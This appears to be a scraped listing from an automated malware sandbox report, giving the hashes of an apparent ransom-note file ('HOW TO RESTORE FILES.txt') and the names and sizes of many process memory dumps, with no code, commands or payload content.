65ce4fa73a9dc19342dfb22c841cd1da6045fb59955a0a23b21a32d2d05027405b410612524b04ad4f4d678f8d06ff989ebfba60ffacb1e3e3bbf01d7b09a2e3

Download Submit
C:\Users\Admin\Contacts\HOW TO RESTORE FILES.txt

Filesize
1KB

MD5
1038ddcba2fab4c9b00327f9dada631f

SHA1
2194ac75797199822423ab86caf250eb7b22101e

SHA256
9c5c24ba05c0aa6b502c7f1406b12f8645f35c11135f6eb28da3745fb96130b8

SHA512
3968217b664e982ec2482d80130e640a43bcbc2e8a0d632143dd8180b0ec14d7243388e0faae37e03a95181dfcb3d477cf5281c375a651128e0495307159d3ce

Download Submit
memory/1796-1136-0x0000000000400000-0x000000000045C000-memory.dmp

Filesize
368KB

Download
memory/1796-26204-0x0000000000400000-0x000000000045C000-memory.dmp

Filesize
368KB

Download
memory/5064-34-0x0000000005910000-0x00000000059DB000-memory.dmp

Filesize
812KB

Download
memory/5064-42-0x0000000005910000-0x00000000059DB000-memory.dmp

Filesize
812KB

Download
memory/5064-3-0x0000000006000000-0x0000000006618000-memory.dmp

Filesize
6.1MB

Download
memory/5064-4-0x0000000005AF0000-0x0000000005BFA000-memory.dmp

Filesize
1.0MB

Download
memory/5064-5-0x0000000005910000-0x00000000059DB000-memory.dmp

Filesize
812KB

Download
memory/5064-6-0x0000000005910000-0x00000000059DB000-memory.dmp

Filesize
812KB

Download
memory/5064-8-0x0000000005910000-0x00000000059DB000-memory.dmp

Filesize
812KB

Download
memory/5064-10-0x0000000005910000-0x00000000059DB000-memory.dmp

Filesize
812KB

Download
memory/5064-12-0x0000000005910000-0x00000000059DB000-memory.dmp

Filesize
812KB

Download
memory/5064-14-0x0000000005910000-0x00000000059DB000-memory.dmp

Filesize
812KB

Download
memory/5064-16-0x0000000005910000-0x00000000059DB000-memory.dmp

Filesize
812KB

Download
memory/5064-18-0x0000000005910000-0x00000000059DB000-memory.dmp

Filesize
812KB

Download
memory/5064-20-0x0000000005910000-0x00000000059DB000-memory.dmp

Filesize
812KB

Download
memory/5064-22-0x0000000005910000-0x00000000059DB000-memory.dmp

Filesize
812KB

Download
memory/5064-24-0x0000000005910000-0x00000000059DB000-memory.dmp

Filesize
812KB

Download
memory/5064-26-0x0000000005910000-0x00000000059DB000-memory.dmp

Filesize
812KB

Download
memory/5064-28-0x0000000005910000-0x00000000059DB000-memory.dmp

Filesize
812KB

Download
memory/5064-40-0x0000000005910000-0x00000000059DB000-memory.dmp

Filesize
812KB

Download
memory/5064-38-0x0000000005910000-0x00000000059DB000-memory.dmp

Filesize
812KB

Download
memory/5064-36-0x0000000005910000-0x00000000059DB000-memory.dmp

Filesize
812KB

Download
memory/5064-1-0x0000000000990000-0x0000000000E64000-memory.dmp

Filesize
4.8MB

Download
memory/5064-32-0x0000000005910000-0x00000000059DB000-memory.dmp

Filesize
812KB

Download
memory/5064-30-0x0000000005910000-0x00000000059DB000-memory.dmp

Filesize
812KB

Download
memory/5064-2-0x0000000005910000-0x00000000059E0000-memory.dmp

Filesize
832KB

Download
memory/5064-44-0x0000000005910000-0x00000000059DB000-memory.dmp

Filesize
812KB

Download
memory/5064-46-0x0000000005910000-0x00000000059DB000-memory.dmp

Filesize
812KB

Download
memory/5064-48-0x0000000005910000-0x00000000059DB000-memory.dmp

Filesize
812KB

Download
memory/5064-50-0x0000000005910000-0x00000000059DB000-memory.dmp

Filesize
812KB

Download
memory/5064-52-0x0000000005910000-0x00000000059DB000-memory.dmp

Filesize
812KB

Download
memory/5064-54-0x0000000005910000-0x00000000059DB000-memory.dmp

Filesize
812KB

Download
memory/5064-56-0x0000000005910000-0x00000000059DB000-memory.dmp

Filesize
812KB

Download
memory/5064-58-0x0000000005910000-0x00000000059DB000-memory.dmp

Filesize
812KB

Download
memory/5064-60-0x0000000005910000-0x00000000059DB000-memory.dmp

Filesize
812KB

Download
memory/5064-62-0x0000000005910000-0x00000000059DB000-memory.dmp

Filesize
812KB

Download
memory/5064-64-0x0000000005910000-0x00000000059DB000-memory.dmp

Filesize
812KB

Download
memory/5064-66-0x0000000005910000-0x00000000059DB000-memory.dmp

Filesize
812KB

Download
memory/5064-68-0x0000000005910000-0x00000000059DB000-memory.dmp

Filesize
812KB

Download
memory/5064-1119-0x0000000005900000-0x0000000005910000-memory.dmp

Filesize
64KB

Download
memory/5064-1120-0x00000000059E0000-0x00000000059E1000-memory.dmp

Filesize
4KB

Download
memory/5064-1121-0x0000000005A50000-0x0000000005AAA000-memory.dmp

Filesize
360KB

Download
memory/5064-1122-0x0000000005D00000-0x0000000005D4C000-memory.dmp

Filesize
304KB

Download
memory/5064-0-0x0000000074900000-0x00000000750B0000-memory.dmp

Filesize
7.7MB

Download
memory/5064-1123-0x0000000074900000-0x00000000750B0000-memory.dmp

Filesize
7.7MB

Download
memory/5064-1124-0x0000000005900000-0x0000000005910000-memory.dmp

Filesize
64KB

Download
memory/5064-1128-0x0000000007390000-0x0000000007934000-memory.dmp

Filesize
5.6MB

Download
memory/5064-1133-0x0000000074900000-0x00000000750B0000-memory.dmp

Filesize
7.7MB

Download